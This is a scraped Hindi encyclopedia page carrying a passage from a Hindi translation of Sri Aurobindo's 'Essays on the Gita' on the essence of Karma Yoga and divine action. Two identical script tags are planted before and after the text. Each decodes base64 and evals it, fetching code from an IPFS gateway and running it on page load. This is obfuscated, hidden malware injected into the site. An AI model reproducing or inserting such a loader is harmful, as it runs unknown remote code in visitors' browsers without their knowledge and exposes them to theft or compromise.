गीता प्रबंध -अरविन्द पृ. 249

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गीता-प्रबंध
24.कर्मयोग का सारतत्व

सत्ता में उनके साथ ऐक्य लाभ करने से हम जगत् के सब प्राणियों के साथ एक हो जाते हैं और दिव्य कर्म करने लगते हैं, अपने कर्म के तौर पर नहीं बल्कि लोक - संरक्षण और लोकसग्रंह के लिये हमारे द्वारा होने वाली उन्हींकी क्रिया के तौर पर। असल में यही अतयंत आवश्यक बात है और इसे करते ही अर्जुन के आगे आने वाली सब कठिनाइयां लुप्त हो जायेगीं। पश्न तब हमारे वैयक्तिक कर्म का नहीं रह जाता , क्योंकि हमारा व्यक्तित्व जिससे बनता है यह तो केवल इस लौकिक जीवन से संबंध रखने वाली और इसलिये गौण चीज रह जाती है फिर जगत् में हमारे द्वारा भगवदच्छा के कार्यन्वित होने का प्रश्न ही रहा जाता है। उसे समझने के लिये हमें यह जानना होगा कि ये परमेश्वर स्वयं क्या हैं ,प्रकृति के अंदर इनका क्या स्वरूप है, प्रकृति कर्म परंपरा क्या है और उसका लक्ष्य क्या है और प्रकृतिस्थ पुरूष और इन परमेश्वर के बीच आंतरिक संबंध कैसा है, इसे समझने के लिये ज्ञानयुक्त भक्ति ही आधार है। इन्हीं बातों का स्पष्टीकरण गीता के शेष अध्यायों का विषय है।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:गीता प्रबंध